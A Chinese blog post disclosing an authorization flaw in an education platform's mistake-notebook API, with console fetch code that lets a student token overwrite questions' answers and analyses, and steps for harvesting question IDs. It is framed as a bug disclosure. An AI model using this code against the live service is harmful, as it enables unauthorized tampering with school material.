错题本权限BUG演示上报

"越权修改例题"

Posted by LoliconMe on January 24, 2023

前置知识

发现过程

我们知道,由于中育早期十分疏忽,老师、学生、管理员权限分割不明,存在大量越权操作。
例如:优课畅学学生创建课程、云笔记学生上传各类文件、web端学生随意访问各种功能

显然中育之后努力了一番修复了绝大多数越权问题,现在访问一些功能便会出现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
    "result": null,
    "targetUrl": null,
    "success": false,
    "error": {
        "code": 0,
        "message": "Required permissions are not granted. 
        At least one of these permissions must be granted: Administrator",
        "details": null,
        "validationErrors": null
    },
    "unAuthorizedRequest": true,
    "__abp": true
}

本文揭露一个历史遗留————错题修改越权

演示

CODE

Chrome F12 控制台(CONSOLE)中执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
post={
    "testPaperId": 100 /*Any available id is ok*/ ,
    "content": "",
    "questionsInputs": [{
        "questionId": 6666 /*见下解释*/ ,
        "answers": ``,
        "referenceAnswer": ``/*答案*/,
        "analysis": ``/*解析*/,
        "difficult": 0,
        "knowledge": []
    }],
    "relatedQstGroupInputs": []
}

fetch("http://sxz.api.zykj.org/api/services/app/Test/SetTestQstPropertiesAsync",{
    method: "post",
    headers: {"Authorization": "Bearer "+token/*自行获取*/, "Content-Type": "application/json"},
    body: JSON.stringify(post)
})
    .then(response=>response.json())
    .then(json=>console.log(json))

返回示例

1
2
3
4
5
6
7
8
{
    "result": null,
    "targetUrl": null,
    "success": true,
    "error": null,
    "unAuthorizedRequest": false,
    "__abp": true
}

image

一些解释

QuestionId的获取:

  1. PAD错题本进入目标错题
  2. 进入错题笔记界面
  3. 创建一个无网络WIFI(i.g.不开数据的手机热点),PAD连接
  4. 右上角打开错题题干截图
  5. 出现网络错误提示并显示URL(i.g.http://sxz.api.zykj.org/Question/View/23333?showAnalysis=true)
  6. 记下红色部分即可

答案&解析:由HTML构成,详细运作请自见http://sxz.api.zykj.org/Question/View/看JS

总结&声明

一个很好修的越权BUG,望修复。 本文仅做学习用途,不对因为滥用该BUG导致的任何问题负责。